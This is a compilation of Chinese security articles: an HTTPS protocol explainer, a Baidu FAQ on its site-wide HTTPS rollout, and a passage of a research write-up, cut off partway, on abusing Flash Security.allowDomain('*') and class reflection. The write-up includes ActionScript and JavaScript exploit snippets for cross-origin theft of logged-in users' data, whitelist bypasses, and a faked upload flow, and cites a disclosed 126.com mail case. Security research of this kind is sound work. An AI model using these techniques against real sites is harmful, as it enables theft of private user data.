3,  服务端回复 certificate,携带了证书公钥。

4,  服务端生成 ECDH 临时公钥,同时回复 server_key_exchange,包含三部分重要内容:

a)         ECC 相关的参数。

b)        ECDH 临时公钥。

c)         ECC 参数和公钥生成的签名值,用于客户端校验。

5,  浏览器接收 server_key_exchange 之后,使用证书公钥进行签名解密和校验,获取服务器端的 ECDH 临时公钥,生成会话所需要的共享密钥。

至此,浏览器端完成了密钥协商。

6,  浏览器生成 ECDH 临时公钥和 client_key_exchange 消息,跟 RSA 密钥协商不同的是,这个消息不需要加密了。

7,  服务器处理 client_key_exchang 消息,获取客户端 ECDH 临时公钥。

8,  服务器生成会话所需要的共享密钥。

9,  Server 端密钥协商过程结束。

图示如下:

图 7 ECDHE 密钥协商过程

4.1.2 对称内容加密

非对称密钥交换过程结束之后就得出了本次会话需要使用的对称密钥。对称加密又分为两种模式:流式加密和分组加密。流式加密现在常用的就是 RC4,不过 RC4 已经不再安全,微软也建议网站尽量不要使用 RC4 流式加密

一种新的替代 RC4 的流式加密算法叫 ChaCha20,它是 google 推出的速度更快,更安全的加密算法。目前已经被 android 和 chrome 采用,也编译进了 google 的开源 openssl 分支 —boring ssl,并且nginx 1.7.4 也支持编译 boringssl

分组加密以前常用的模式是 AES-CBC,但是 CBC 已经被证明容易遭受BEASTLUCKY13 攻击。目前建议使用的分组加密模式是 AES-GCM,不过它的缺点是计算量大,性能和电量消耗都比较高,不适用于移动电话和平板电脑。

4.2 身份认证

身份认证主要涉及到 PKI 和数字证书。通常来讲 PKI(公钥基础设施)包含如下部分:

  • End entity:终端实体,可以是一个终端硬件或者网站。
  • CA:证书签发机构。
  • RA:证书注册及审核机构。比如审查申请网站或者公司的真实性。
  • CRL issuer:负责证书撤销列表的发布和维护。
  • Repository:负责数字证书及 CRL 内容存储和分发。

申请一个受信任的数字证书通常有如下流程:

1,  终端实体生成公私钥和证书请求。

2,  RA 检查实体的合法性。如果个人或者小网站,这一步不是必须的。

3,  CA 签发证书,发送给申请者。

4,  证书更新到 repository,终端后续从 repository 更新证书,查询证书状态等。

目前百度使用的证书是 X509v3 格式,由如下三个部分组成:

1,  tbsCertificate(to be signed certificate 待签名证书内容),这部分包含了 10 个要素,分别是版本号,序列号,签名算法标识,发行者名称,有效期,证书主体名,证书主体公钥信息,发行商唯一标识,主体唯一标识,扩展等。

2,  signatureAlgorithm,签名算法标识,指定对 tbsCertificate 进行签名的算法。

3,  signaturValue(签名值),使用 signatureAlgorithm 对 tbsCertificate 进行计算得到签名值。

数字证书有两个作用:

1,  身份授权。确保浏览器访问的网站是经过 CA 验证的可信任的网站。

2,  分发公钥。每个数字证书都包含了注册者生成的公钥。在 SSL 握手时会通过 certificate 消息传输给客户端。比如前文提到的 RSA 证书公钥加密及 ECDHE 的签名都是使用的这个公钥。

申请者拿到 CA 的证书并部署在网站服务器端,那浏览器发起握手接收到证书后,如何确认这个证书就是 CA 签发的呢?怎样避免第三方伪造这个证书?

答案就是数字签名(digital signature)。数字签名是证书的防伪标签,目前使用最广泛的 SHA-RSA 数字签名的制作和验证过程如下:

1,  数字签名的签发。首先是使用哈希函数对待签名内容进行安全哈希,生成消息摘要,然后使用 CA 自己的私钥对消息摘要进行加密。

2,  数字签名的校验。使用 CA 的公钥解密签名,然后使用相同的签名函数对待签名证书内容进行签名并和服务端数字签名里的签名内容进行比较,如果相同就认为校验成功。

图 8 数字签名生成及校验

这里有几点需要说明:

  1. 数字签名签发和校验使用的密钥对是 CA 自己的公私密钥,跟证书申请者提交的公钥没有关系。
  2. 数字签名的签发过程跟公钥加密的过程刚好相反,即是用私钥加密,公钥解密。
  3. 现在大的 CA 都会有证书链,证书链的好处一是安全,保持根 CA 的私钥离线使用。第二个好处是方便部署和撤销,即如果证书出现问题,只需要撤销相应级别的证书,根证书依然安全。
  4. 根 CA 证书都是自签名,即用自己的公钥和私钥完成了签名的制作和验证。而证书链上的证书签名都是使用上一级证书的密钥对完成签名和验证的。
  5. 怎样获取根 CA 和多级 CA 的密钥对?它们是否可信?当然可信,因为这些厂商跟浏览器和操作系统都有合作,它们的公钥都默认装到了浏览器或者操作系统环境里。比如firefox 就自己维护了一个可信任的 CA 列表,而chrome 和 IE 使用的是操作系统的 CA 列表

4.3 数据完整性

这部分内容比较好理解,跟平时的 md5 签名类似,只不过安全要求要高很多。openssl 现在使用的完整性校验算法有两种:MD5 或者 SHA。由于 MD5 在实际应用中存在冲突的可能性比较大,所以尽量别采用 MD5 来验证内容一致性。SHA 也不能使用 SHA0 和 SHA1,中国山东大学的王小云教授在 2005 年就宣布破解了 SHA-1 完整版算法

微软和 google 都已经宣布 16 年及 17 年之后不再支持 sha1 签名证书。

5 HTTPS 使用成本

HTTPS 目前唯一的问题就是它还没有得到大规模应用,受到的关注和研究都比较少。至于使用成本和额外开销,完全不用太过担心。

一般来讲,使用 HTTPS 前大家可能会非常关注如下问题:

  1. 证书费用以及更新维护。大家觉得申请证书很麻烦,证书也很贵,可是证书其实一点都不贵,便宜的一年几十块钱,最多也就几百。而且现在也有了免费的证书机构,比如著名的 mozilla 发起的免费证书项目:let’s encrypt(https://letsencrypt.org/)就支持免费证书安装和自动更新。这个项目将于今年中旬投入正式使用。

数字证书的费用其实也不高,对于中小网站可以使用便宜甚至免费的数字证书服务(可能存在安全隐患),像著名的 verisign 公司的证书一般也就几千到几万块一年不等。当然如果公司对证书的需求比较大,定制性要求高,可以建立自己的 CA 站点,比如 google,能够随意签发 google 相关证书。

  1. HTTPS 降低用户访问速度。HTTPS 对速度会有一定程度的降低,但是只要经过合理优化和部署,HTTPS 对速度的影响完全可以接受。在很多场景下,HTTPS 速度完全不逊于 HTTP,如果使用 SPDY,HTTPS 的速度甚至还要比 HTTP 快。

大家现在使用百度 HTTPS 安全搜索,有感觉到慢吗?

  1. HTTPS 消耗 CPU 资源,需要增加大量机器。前面介绍过非对称密钥交换,这是消耗 CPU 计算资源的大户,此外,对称加解密,也需要 CPU 的计算。

同样地,只要合理优化,HTTPS 的机器成本也不会明显增加。对于中小网站,完全不需要增加机器也能满足性能需求。

6 后记

国外的大型互联网公司很多已经启用了全站 HTTPS,这也是未来互联网的趋势。国内的大型互联网并没有全站部署 HTTPS,只是在一些涉及账户或者交易的子页面 / 子请求上启用了 HTTPS。百度搜索首次全站部署 HTTPS,对国内互联网的全站 HTTPS 进程必将有着巨大的推动作用。

目前互联网上关于 HTTPS 的中文资料比较少,本文就着重介绍了 HTTPS 协议涉及到的重要知识点和平时不太容易理解的盲区,希望能对大家理解 HTTPS 协议有帮助。百度 HTTPS 性能优化涉及到大量内容,从前端页面、后端架构、协议特性、加密算法、流量调度、架构和运维、安全等方面都做了大量工作。本系列的文章将一一进行介绍。

大型网站的 HTTPS 实践(1):HTTPS 协议和原理,首发于博客 – 伯乐在线

百度全站 https FAQ:技术宅告诉你如何搜索更安全

你注意到了吗?百度已经全站实现 https 了! 

百度从 14 年开始对外开放了 https 的访问,并于 3 月初正式对全网用户进行了 https 跳转。 你也许会问,切换就切换呗,和我有啥关系?我平常用百度还不是照常顺顺当当的,没感觉到什么切换。 话说,平常我们呼吸空气也顺顺溜溜的,没有什么感觉,但要是没有了空气,那就没法愉快的生活了。https 对于互联网安全的重要性,正如空气对于我们人类的重要性一样。百度全站切换到 https 之后,我们才可以愉快的搜索,愉快的上网。 https 究竟是如何实现让我们更加安全呢,让百度技术宅来个深度揭秘:

问题 1:https 是什么?我有没有用到 https?

https 是 http over ssl(Secure Socket Layer),简单讲就是 http 的安全版本,在 http 的基础上通过传输加密和身份认证保证了传输过程中的安全性。你通常访问的网站大部分都是 http 的,最简单的方法可以看看网址是以 http:// 开头还是https:// 开头。 以下几个截图就是 chrome,firefox,IE10 在使用 https 时的效果。 注意图中绿色的部分, 我们后面详细说说。 想进一步了解 HTTPS,可以阅读《大型网站的 HTTPS 实践(一)– HTTPS 协议和原理》

问题 2:https 为什么比 http 安全?https 加密是不是需要我在电脑上安装证书 / 保存密码?

不带“s”的 http 不安全,主要是因为它传输的是明文内容, 也不对传输双方进行身份验证。只要在数据传输路径的任何一个环节上,都能看到传输的内容,甚至对其进行修改。例如一篇文章”攻下隔壁女生路由器后, 我都做了些什么”中,很多攻击的环节,都是通过分析 http 的内容来进行。而在现实生活中呢,你很有可能泄露你的论坛高级会员账号 / 密码,游戏 vip 账号 / 密码,隐私的聊天内容,邮件,在线购物信息,等等。实在是太可怕的有木有! https 之所以安全,是因为他利用 ssl/tls 协议传输。举个简单的例子,电影风语者中,美军发现密码经常被日本窃听和破解,就征召了 29 名印第安纳瓦霍族人作为译电员,因为这语言只有他们族人懂。即使日本人窃听了电文,但是看不懂内容也没用;想伪造命令也无从下手,修改一些内容的话,印第安人看了,肯定会说看(shen)不(me)懂(gui)。看到这里,你肯定发现了,这是基于两边都有懂这个语言(加密解密规则)的人才行啊,那么我的电脑上需要安装什么密钥或者证书吗?一般情况作为普通用户是不用考虑这些的,我们有操作系统,浏览器,数学家,安全和网络工程师等等, 帮你都做好了, 放心的打开浏览器用就好啦。 如果你实在好奇,想知道双方不用相同的密钥如何进行加密的,可以搜索下”公钥加密”(非对称加密),”RSA”,” DH 密钥交换”, “ssl 原理” “数字证书”等关键词。 有朋友会想了,不就是加密吗,我 wifi 密码都能破,找个工具分分钟就破解了。这个想法可不对, 虽然没有绝对的安全,但是可以极大增加破解所需要的成本,https 目前使用的加密方式是需要巨大的计算量(按照目前计算机的计算能力)才可能破解的,你会用世界上最强的超级计算机花费 100 年(只是一个比喻)去解密,看看 100 年前隔壁老王在百度上搜什么吗。

问题 3:百度为什么要上 https?

我们每天会处理用户投诉,比如说: 页面出现白页 / 出现某些奇怪的东西 返回了 403 的页面 搜索不了东西 搜索 url 带了小尾巴, 页面总要闪几次 页面弹窗广告 搜索个汽车就有人给我打电话推销 4s 店和保险什么的 … 各种千奇百怪的情况碰到过的请举手。 查来查去,很大一部分原因是有些坏人在数据的传输过程中修改百度的页面内容,窃听用户的搜索内容。悄悄告诉你,https 就是能解决这样问题的技术哦, 赶紧把浏览器首页改成https://www.baidu.com吧。 从方向上来说,HTTPS 也是未来的趋势,目前大家使用的 HTTP 还是 1.1/1.0 版本的,新的 HTTP2.0 版本的标准已经发布了。标准中涉及了加密的规范,虽然标准中没有强制使用,但是已经有很多浏览器实现声称他们只会支持基于加密连接的 HTTP2.0(https://http2.github.io/faq/#does-http2-require-encryption)。

问题 4:https 不就是在 http 后面加个 s,很难么?

  难,又不难。 它包含证书,卸载,流量转发,负载均衡,页面适配,浏览器适配,refer 传递等等等等。反正我指头肯定不够数。 对于一个超小型个人站点来说,技术宅 1 天就能搞定从申请证书到改造完成。如果是从零开始建设,会更容易。 但是对于百度搜索这种大胖纸来说,可就难了。 1 它一开始并不是为 https 设计的 2 内容丰富(内容本身的表现形式很多:图片,视频,flash,form 等等),种类丰富 (页面上除了自然结果,有视频,图片,地图,贴吧,百科 , 第三方的内容, app 等等)。 3 数据来源复杂,有几十个内部产品线的内容,几百个域名,成千上万个开发者的内容 4 百度在全国,甚至世界范围都有很多 idc 和 cdn 节点,都得覆盖到。 5 还不能因此拖慢了百度的速度 (国内使用 https 的银行, 在线交易的站点,有没有觉得很慢?) 6 上 https 本来就是为了更好的体验,可不能导致大家使用不稳定。 … 想了解更详细的内容,可以阅读《大型网站的 HTTPS 实践(四)– 协议层以外的实践 [1]》 Google 部署 https 花费了 1-2 年,13 年将证书从 1024 位升级到 2048 位花了 3 个月。百度也是去年就开放了入口和小流量,但是今年 3 月才进行全量上线,可以想像整体的复杂性。

问题 5:如何看待百度搜索支持全站 https?

国外的几个大型站点都 https 化了,这是未来互联网的趋势 (有兴趣的同学可以搜索下’http/2’ )。 对百度自身来说,https 能够保护用户体验,减少劫持 / 隐私泄露对用户的伤害。 很多人会有疑惑,我没有被劫持,百度上 https 有什么作用,反而让我变慢了一些。从我们的第一手数据可以看到,劫持的影响正越来越大,在法制不健全的环境下,它被当成一个产业,很多公司以它为生,不少以此创业的团队还拿到了风投。等它真正伤害到你的时候,你可能又会问我们为什么不做些什么。所以,我们宁愿早一些去面对它。 https 在国内的大型站点目前还只用在部分账户的登陆和支付等环节。百度也是国内第一个全站 https 的大型站点,它的用户非常多,流量也很大。百度能够上线 https 会打消大家的疑虑,对其他国内的站点是很好的示范,这个带头作用会显著加速国内互联网 https 的进程,有助于中国互联网的网络安全建设。百度作为搜索引擎,是流量的入口和分发的渠道,后续如果对 https 的站点内容的抓取,标记,权值倾斜,那么更能引导互联网的网站向 https 进行迁移。

问题 6:https 慢不慢?

繁重的计算和多次交互天然的影响了 https 的访问速度。。如果什么优化都不做,https 会明显慢很多。在百度已经进行过很多速度优化的条件下,如果站点本身已经做过常规优化,但是不针对 https 做优化,这种情况下我们实测的结果是 0.2-0.4 秒耗时的增加。如果是没有优化过的站点,慢 1 秒都不是梦。至于现在慢不慢呢,大家已经体验了这么多天了,有感觉吗? 答案:A 慢死了,你们在做啥?  B 有些慢啊  C 还行, 基本无感  D 啥, 我已经用了 https 了? 是不是选的 C 或者 D?喂喂,选 A 的那位 你打开别的网站慢么, 以前没有上 HTTPS 的时候慢么。。。隔壁老王在蹭你网呢。 所以,不是慢,是没有优化。

问题 7:https 耗性能吗?

答案是,握手的时候耗,建好连接之后就不太耗了。按照目前加密强度的计算开销,服务器支撑握手性能会下降 6-8 倍,但是如果建立好连接之后,服务器就几乎可能撑住打满网卡的 https 流量了。所以连接复用率的提升和计算性能的优化都是重点。可以阅读《大型网站的 HTTPS 实践(三)– 基于协议和配置的优化》

问题 8:劫持有些什么样的途经?

你的电脑,你设置的 dns,你的浏览器,你用的网络,都有可能被劫持。 简单和大家介绍下运营商的内容劫持是如何进行的,运营商会分析你的网络请求,它可以先于网站回包,也能修改数据包的内容。所以它可以让你跳转一次,在网址上加上小尾巴,也能在你访问的页面弹出小广告。 感兴趣的话,还可以通过这篇文章看看你的电脑如何被 lsp 劫持的《暗云木马

问题 9:https 解决了所有劫持问题吗?

俗话说有终有始,我们来说一说文章开始说的浏览器上的绿色标记。它标志着这个安全连接可信赖的级别。绿色通常是好的,黄色则是说明有些不安全,例如在 https 的页面中加载了 http 的资源,这样 http 的资源还是有被劫持的风险。 其实客户端,局域网的风险也很大,恶意插件,木马可以做很多事情,你使用的路由器,DNS 也比较脆弱。如果某个大型网站被标记为了红色,那你就更要小心了 (当然也可能是某个猴子忘记了续费替换证书,导致证书过期了),你有可能遭受了 ssl 劫持 (中间人攻击的一种),特别是遇到如下图提示的时候(访问一些自己签名的站点也会有类似的提示)。中间人攻击还有其他种类的,比如代理你的通信让你退化 http, 还可以利用注入根证书,可以让你浏览器还是绿色的标记,就问你怕不怕? 还是那句话,没有绝对的安全,但是我们可以尽量降低风险。 https 能够在绝大部分情况下保证互联网访问数据传输的安全,这是目前我们力所能及的工作。

问题 10:我应该如何更爽更快切换到 https?

如此强悍有用的 https,我也想体验,在安全的互联网世界中翱翔,那么我该怎么做呢? 实际上你不需要动手,百度的攻城狮已经体贴的帮你做到了。现在访问百度试试,我们已经自动切换到 https 了,再也不用担心隐私泄露的问题,赶紧来体验吧! 另外以下一些技巧能有让 https 有更好的性能哦: 1 使用更高端大气上档次的浏览器(最好是非 IE 系列的,比如 chrome,firefox,safari 浏览器,或者百度等双核浏览器的极速模式。 2 把浏览器 首页或者收藏夹的百度 url 也换为 https://www.baidu.com,可以让你有更快更好的体验。 3 如何将百度设置成首页? 这里有详细的教程哦 http://www.baidu.com/cache/sethelp/help.html

隐私泄露杀手锏:Flash 权限反射

前言

一直以为该风险早已被重视,但最近无意中发现,仍有不少网站存在该缺陷,其中不乏一些常用的邮箱、社交网站,于是有必要再探讨一遍。

事实上,这本不是什么漏洞,是 Flash 与生俱来的一个正常功能。但由于一些 Web 开发人员了解不够深入,忽视了该特性,从而埋下安全隐患。

原理

这一切还得从经典的授权操作说起:

Security.allowDomain('*')

对于这行代码,或许都不陌生。尽管知道使用 * 是有一定风险的,但想想自己的 Flash 里并没有什么高危操作,把我拿去又能怎样?

显然,这还停留在 XSS 的思维上。Flash 和 JS 通信确实存在 XSS 漏洞,但要找到一个能利用的 swf 文件并不容易:既要读取环境参数,又要回调给 JS,还得确保自动运行。

因此,一些开发人员以为只要不与 JS 通信,就高枕无忧了。同时为了图方便,直接给 swf 授权了 *,省去一大堆信任列表。

事实上,Flash 被网页嵌套仅仅是其中一种而已,更普遍的,则是 swf 之间的嵌套。然而无论何种方式,都是通过 Security.allowDomain 进行授权的 —— 这意味着,一个 * 不仅允许被第三方网页调用,同时还包括了其他任意 swf!

被网页嵌套,或许难以找到利用价值。但被自己的同类嵌套,可用之处就大幅增加了。因为它们都是 Flash,位于同一个运行时里,相互之间存在着密切的关联。

我们如何将这种关联,进行充分利用呢?

利用

关联容器

在 Flash 里,舞台(stage)是这个世界的根基。无论加载多少个 swf,舞台始终只有一个。任何元素(DisplayObject)必须添加到舞台、或其子容器下,才能展示和交互。

因此,不同 swf 创建的元素,都是通过同一个舞台展示的。它们能感知相互的存在,只是受到同源策略的限制,未必能相互操作。

然而,一旦某个 swf 主动开放权限,那么它的元素就不再受到保护,能被任意 swf 访问了!

听起来似乎不是很严重。我创建的界面元素,又有何访问价值?也就获取一些坐标、颜色等信息而已。

偷窥元素的自身属性,或许并没什么意义。但并非所有的元素,都是为了纯粹展示的 —— 有时为了扩展功能,继承了元素类的特征,在此之上实现额外的功能。

最典型的,就是每个 swf 的主类:它们都继承于 Sprite,即使程序里没用到任何界面相关的。

有这样扩展元素存在,我们就可以访问那些额外的功能了。

开始我们的第一个案例。某个 swf 的主类在 Sprite 的基础上,扩展了网络加载的功能:

// vul.swf
public class Vul extends Sprite {

    public var urlLoader:URLLoader = new URLLoader();

    public function download(url:String) : void {
        urlLoader.load(new URLRequest(url));
        ...
    }

    public function Vul() {
        Security.allowDomain('*');
        ...
    }
    ...
}

通过第三方 swf,我们将其加载进来。由于 Vul 继承了 Sprite,因此拥有了元素的基因,我们可以从容器中找到它。

同时它也是主类,默认会被添加到 Loader 这个加载容器里。

// exp.swf
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
    var main:* = DisplayObjectContainer(loader).getChildAt(0);

    trace(main);    // [object Vul]
});
loader.load(new URLRequest('//swf-site/vul.swf'));

因为 Loader 是子 swf 的默认容器,所以其中第一个元素显然就是子 swf 的主类:Vul。

由于 Vul 定义了一个叫 download 的公开方法,并且授权了所有的域名,因此在第三方 exp.swf 里,自然也能调用它:

main.download('//swf-site/data');

同时 Vul 中的 urlLoader 也是一个公开暴露的成员变量,同样可被外部访问到,并对其添加数据接收事件:

var ld:URLLoader = main.urlLoader;
ld.addEventListener('complete', function(e:Event) : void {
    trace(ld.data);
});

尽管这个 download 方法是由第三方 exp.swf 发起的,但最终执行 URLLoader 的 load 方法时,上下文位于 vul.swf 里,因此这个请求仍属于 swf-site 的源。

于是攻击者从任意位置,跨站访问 swf-site 下的数据了。

更糟的是,Flash 的跨源请求可通过 crossdomain.xml 来授权。如果某个站点允许 swf-site,那么它也成了受害者。

如果用户正处于登录状态,攻击者悄悄访问带有个人信息的页面,用户的隐私数据可能就被泄露了。攻击者甚至还可模拟用户请求,将恶意链接发送给其他好友,导致蠕虫传播。

ActionScript 虽然是强类型的,但只是开发时的约束,在运行时仍和 JavaScript 一样,可动态访问属性。

类反射

通过容器这个桥梁,我们可访问到子 swf 中的对象。但前提条件仍过于理想,现实中能利用的并不多。

如果目标对象不是一个元素,也没有和公开的对象相关联,甚至根本就没有被实例化,那是否就无法获取到了?

做过页游开发的都试过,将一些后期使用的素材打包在独立的 swf 里,需要时再加载回来从中提取。目标 swf 仅仅是一个资源包,其中没有任何脚本,那是如何参数提取的?

事实上,整个过程无需子 swf 参与。所谓的『提取』,其实就是 Flash 中的反射机制。通过反射,我们即可隔空取物,直接从目标 swf 中取出我们想要的类。

因此我们只需从目标 swf 里,找到一个使用了网络接口类,即可尝试为我们效力了。

开始我们的第二个案例。这是某电商网站 CDN 上的一个广告活动 swf,反编译后发现,其中一个类里封装了简单的网络操作:

// vul.swf
public class Tool {
    public function getUrlData(url:String, cb:Function) : void {
        var ld:URLLoader = new URLLoader();
        ld.load(new URLRequest(url));
        ld.addEventListener('complete', function(e:Event) : void {
            cb(ld.data);
        });
        ...
    }
    ...

在正常情况下,需一定的交互才会创建这个类。但反射,可以让我们避开这些条件,提取出来直接使用:

// exp.swf
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
    var cls:* = loader.contentLoaderInfo.applicationDomain.getDefinition('Tool');
    var obj:* = new cls;

    obj.getUrlData('http://victim-site/user-info', function(d:*) : void {
        trace(d);
    });
});
loader.load(new URLRequest('//swf-site/vul.swf'));

由于 victim-site/crossdomain.xml 允许 swf-site 访问,于是 vul.swf 在不经意间,就充当了隐私泄露的傀儡。

攻击者拥有了 victim-site 的访问权,即可跨站读取页面数据,访问用户的个人信息了。

由于大多 Web 开发者对 Flash 的安全仍局限于 XSS 之上,从而忽视了这类风险。即使在如今,网络上仍存在大量可被利用的缺陷 swf 文件,甚至不乏一些大网站也纷纷中招。

当然,即使有反射这样强大的武器,也并非所有的 swf 都是可以利用的。显然,要符合以下几点才可以:

  • 执行 Security.allowDomain(可控站点)
  • 能控制触发 URLLoader/URLStream 的 load 方法,并且 url 参数能自定义
  • 返回的数据可被获取

第一条:这就不用说了,反射的前提也是需要对方授权的。

第二条:理想情况下,可直接调用反射类中提供的加载方法。但现实中未必都是 public 的,这时就无法直接调用了。只能分析代码逻辑,看能不能通过公开的方法,构造条件使得流程走到请求发送的那一步。同时 url 参数也必须可控,否则也就没意义了。

第三条:如果只能将请求发送出去,却不能拿到返回的内容,同样也是没有意义的。

也许你会说,为什么不直接反射出目标 swf 中的 URLLoader 类,那不就可以直接使用了吗。然而事实上,光有类是没用的,Flash 并不关心这个类来自哪个 swf,而是看执行 URLLoader::load 时,当前位于哪个 swf。如果在自己的 swf 里调用 load,那么请求仍属于自己的源。

同时,AS3 里已没有 eval 函数了。唯一能让数据变指令的,就是 Loader::loadBytes,但这个方法也有类似的判断。

因此我们还是得通过目标 swf 里的已有的功能,进行利用。

案例

这里分享一个现实中的案例,之前已上报并修复了的。

这是 126.com 下的一个 swf,位于 http://mail.126.com/js6/h/flashRequest.swf。

反编译后可发现,主类初始化时就开启了 * 的授权,因此整个 swf 中的类即可随意使用了!

同时,其中一个叫 FlashRequest 的类,封装了常用的网络操作,并且关键方法都是 public 的:

我们将其反射出来,根据其规范调用,即可发起跨源请求了!

由于网易不少站点的 crossdomain.xml 都授权了 126.com,因此可暗中查看已登录用户的 163/126 邮件了:

甚至还可以读取用户的通信录,将恶意链接传播给更多的用户!

进阶

借助爬虫和工具,我们可以找出不少可轻易利用的 swf 文件。不过本着研究的目的,我们继续探讨一些需仔细分析才能利用的案例。

进阶 No.1 —— 绕过路径检测

当然也不是所有的开发人员,都是毫不思索的使用 Security.allowDomain(‘*’) 的。

一些有安全意识的,即使用它也会考虑下当前环境是否正常。例如某个邮箱的 swf 初始化流程:

// vul-1.swf
public function Main() {
    var host:String = ExternalInterface.call('function(){return window.location.host}');

    if host not match white-list
        return

    Security.allowDomain('*');
    ...

它会在授权之前,对嵌套的页面进行判断:如果不在白名单列表里,那就直接退出。

由于白名单的匹配逻辑很简单,也找不出什么瑕疵,于是只能将目光转移到 ExternalInterface 上。为什么要使用 JS 来获取路径?

因为 Flash 只提供当前 swf 的路径,并不知道自己是被谁嵌套的,于是只能用这种曲线救国的办法了。

不过上了 JS 的贼船,自然就躲不过厄运了。有数不清的前端黑魔法正等着跃跃欲试。Flash 要和各种千奇百怪的浏览器通信,显然需要一套消息协议,以及一个 JS 版的中间桥梁,用以支撑。了解 Flash XSS 的应该都不陌生。

在这个桥梁里,其中有一个叫 __flash__toXML 的函数,负责将 JS 执行后的结果,封装成消息协议返回给 Flash。如果能搞定它,那一切就好办了。

显然这个函数默认是不存在的,是载入了 Flash 之后才注册进来的。既然是一个全局函数,页面中的 JS 也能重定义它:

// exp-1.js
function handler(str) {
    console.log(str);
    return '<string>hi,jack</string>';
}
setInterval(function() {
    var rawFn = window.__flash__toXML;
    if (rawFn && rawFn != handler) {
        window.__flash__toXML = handler;
    }
}, 1);

通过定时器不断监控,一旦出现就将其重定义。于是用 ExternalInterface.call 无论执行什么代码,都可以随意返回内容了!

为了消除定时器的延迟误差,我们先在自己的 swf 里,随便调用下 ExternalInterface.call 进行预热,让 __flash__toXML 提前注入。之后子 swf 使用时,已经是被覆盖的版本了。


当然,即使不使用覆盖的方式,我们仍可以控制 __flash__toXML 的返回结果。

仔细分析下这个函数,其中调用了 __flash__escapeXML:

function __flash__toXML(value) {
    var type = typeof(value);
    if (type == "string") {
        return "<string>" + __flash__escapeXML(value) + "</string>";
    ...
}

function __flash__escapeXML(s) {
    return s.replace(/&/g, "&amp;").replace(/</g, "&lt;") ... ;
}

里面有一大堆的实体转义,但又如何进行利用?

因为它是调用 replace 进行替换的,然而在万恶的 JS 里,常用的方法都是可被改写的!我们可以让它返回任何想要的值:

// exp-1.js
String.prototype.replace = function() {
    return 'www.test.com';
};

甚至还可以针对 __flash__escapeXML 的调用,返回特定值:

String.prototype.replace = function F() {
    if (F.caller == __flash__escapeXML) {
        return 'www.test.com';
    }
    ...
};

于是 ExternalInterface.call 的问题就这样解决了。人为返回一个白名单里的域名,即可绕过初始化中的检测,从而顺利执行 Security.allowDomain(*)。

所以,绝不能相信 JS 返回的内容。连标点符号都不能信!


进阶 No.2 —— 构造请求条件

下面这个案例,是某社交网站的头像上传 Flash。

不像之前那些,都可顺利找到公开的网络接口。这个案例十分苛刻,搜索整个项目,只出现一处 URLLoader,而且还是在 private 方法里。

// vul-2.swf
public class Uploader {

    public function Uploader(file:FileReference) {
        ...
        file.addEventListener(Event.SELECT, handler);
    }

    private function handler(e:Event) : void {
        var file:FileReference = e.target as FileReference;

        // check filename and data
        file.name ...
        file.data ...

        // upload(...)
    }

    private function upload(...) : void {
        var ld:URLLoader = new URLLoader();
        var req:URLRequest = new URLRequest();
        req.method = 'POST';
        req.data = ...;
        req.url = Param.service_url + '?xxx=' ....
        ld.load(req);
    }
}

然而即使要触发这个方法也非常困难。因为这是一个上传控件,只有当用户选择了文件对话框里的图片,并通过参数检验,才能走到最终的上传位置。

唯一可被反射调用的,就是 Uploader 类自身的构造器。同时控制传入的 FileReference 对象,来构造条件。

// exp-2.swf
var file:FileReference = new FileReference();

var cls:* = ...getDefinition('Uploader');
var obj:* = new cls(file);

然而 FileReference 不同于一般的对象,它会调出界面。如果中途弹出文件对话框,并让用户选择,那绝对是不现实的。

不过,弹框和回调只是一个因果关系而已。弹框会产生回调,但回调未必只有弹框才能产生。因为 FileReference 继承了 EventDispatcher,所以我们可以人为的制造一个事件:

file.dispatchEvent(new Event(Event.SELECT));

这样,就进入文件选中后的回调函数里了。

由于这一步会校验文件名、内容等属性,因此还得事先给这些属性赋值。然而遗憾的是,这些属性都是只读的,根本无法设置。

等等,为什么会有只读的属性?属性不就是一个成员变量吗,怎么做到只能读不可写?除非是 const,但那是常量,并非只读属性。

原来,所谓的只读,就是只提供了 getter、但没有 setter 的属性。这样就保证了属性内部可变,但外部不可写的特征。

如果我们能 hook 这个 getter,那就能返回任意值了。然而 AS 里的类默认都是密闭的,不像 JS 那样灵活,可随意篡改原型链。

事实上在高级语言里,有着更为优雅的 hook 方式,我们称作『重写』。我们创建一个继承 FileReference 的类,即可重写那些 getter 了:

// exp-2.swf
class FileReferenceEx extends FileReference {

    override public function get name() : String {
        return 'hello.gif';
    }
    override public function get data() : ByteArray {
        var bytes:ByteArray = new ByteArray();
        ...
        return bytes;
    }
}

根据著名的『里氏替换原则』,任何基类可以出现的地方,子类也一定可以出现。所以传入这个 FileReferenceEx 也是可接受的,之后一旦访问 name 等属性时,自然就落到我们的 getter 上了。

// exp-2.swf
var file:FileReference = new FileReferenceEx();  // !!!
...
var obj:* = new cls(file);

到此,我们成功模拟了文件选择的整个流程。

接着就到关键的上传位置了。庆幸的是,它没写死上传地址,而是从环境变量(loaderInfo.parameters)里读取。

说到环境变量,大家首先想到网页中 Flash 元素的 flashvars 属性,但其实还有两个地方可以传入:

  • swf url query(例如 .swf?a=1&b=2)
  • LoaderContext

由于 url query 是固定的,后期无法修改,所以选择 LoaderContext 来传递:

// exp-2.swf
var loader:Loader = new Loader();
var ctx:LoaderContext = new LoaderContext();
ctx.parameters = {
    'service_url': 'http://victim-site/user-data#'
};
loader.load(new URLRequest('http://cross-site/vul-2.swf'), ctx);

因为 LoaderContext 里的 parameters 是运行时共享的,这样就能随时更改环境变量了:

// next request
ctx.parameters.service_url = 'http://victim-site/user-data-2#';

同时为了不让多余的参数发送上去,还可以在 URL 末尾放置一个 #,让后面多余的部分变成 Hash,就不会走流量了。

尽管这是个很苛刻的案例,但仔细分析还是找出解决办法的。

当然,我们目的并不是为了结果,而是其中分析的乐趣:)


进阶 No.3 —— 捕获返回数据

当然,光把请求发送出去还是不够的,如果无法拿到返回的结果,那还是白忙活。

最理想的情况,就是能传入回调接口,这样就可直接获得数据了。但现实未必都是这般美好,有时我们得自己想办法取出数据。

一些简单的 swf 通常不会封装一个的网络请求类,每次使用时都直接写原生的代码。这样,可控的因子就少很多,利用难度就会大幅提升。

例如这样的场景,尽管能控制请求地址,但由于没法拿到 URLLoader,也就无从获取返回数据了:

public function download(url:String) : void {
    var ld:URLLoader = new URLLoader();
    ld.load(new URLRequest(url));
    ld.addEventListener('complete', function(e:Event) : void {
        // do nothing
    });
}

但通常不至于啥也不做,多少都会处理下返回结果。这时就得寻找机会了。

